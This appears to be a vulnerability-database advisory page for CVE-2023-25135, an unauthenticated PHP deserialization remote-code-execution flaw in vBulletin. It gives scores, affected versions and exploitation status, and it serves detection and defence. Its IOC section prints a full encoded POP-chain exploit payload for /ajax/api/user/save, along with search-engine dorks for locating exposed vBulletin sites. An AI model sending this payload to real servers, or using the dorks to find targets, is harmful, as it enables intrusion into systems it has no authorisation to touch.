cbcvebase.
CVE-2023-25135
published 2023-02-03

CVE-2023-25135: vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This…

PriorityP188critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
23.93%
97.6th percentile
vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors. The fixed versions are 5.6.7 PL1, 5.6.8 PL1, and 5.6.9 PL1.

Affected

3 ranges
VendorProductVersion rangeFixed in
vbulletinvbulletin
vbulletinvbulletin
vbulletinvbulletin

Detection & IOCsextracted from sources · hover to see the quote

url/ajax/api/user/save
commanduser[searchprefs]=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}
yara
strings containing serialized object of type PDOStatement or MonologHandlerSyslogUdpHandler
  • The exploit payload uses serialized Monolog\Handler\SyslogUdpHandler and Monolog\Handler\BufferHandler PHP objects chained together as a POP chain to achieve RCE via the verify_serialized() deserialization flaw.
  • Successful exploitation produces a response body containing 'string(14)' and '"CVE-2023-25135"' with HTTP 200 and Content-Type application/json — use these as detection matchers.
  • GreyNoise tagged active scanning/exploitation attempts for this CVE as 'vBulletin Remote Command Execution CVE-2023-25135 Attempt' — monitor for this tag to identify attacking IPs.
  • Shodan/FOFA/Google dorks can identify exposed vBulletin instances as attack surface: search for http.component:"vBulletin", body="powered by vbulletin", or intext:"Powered By vBulletin".
  • CVE-2023-25135 exploitation attempts were also observed in the wild alongside CVE-2023-6933 WordPress attacks, indicating opportunistic mass scanning.
  • ·The deserialization vulnerability exists in the verify_serialized() function, which calls PHP's unserialize() to check if data is serialized — this is the root cause enabling the POP chain exploitation.
  • ·Directly deserializing a PDOStatement object does not lead to code execution on its own; a full RCE requires a suitable POP chain (e.g., Monolog handlers) present in the vBulletin framework.
  • ·Affected versions are vBulletin 5.6.0 through 5.6.8; fixed versions are 5.6.7 PL1, 5.6.8 PL1, and 5.6.9 PL1.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.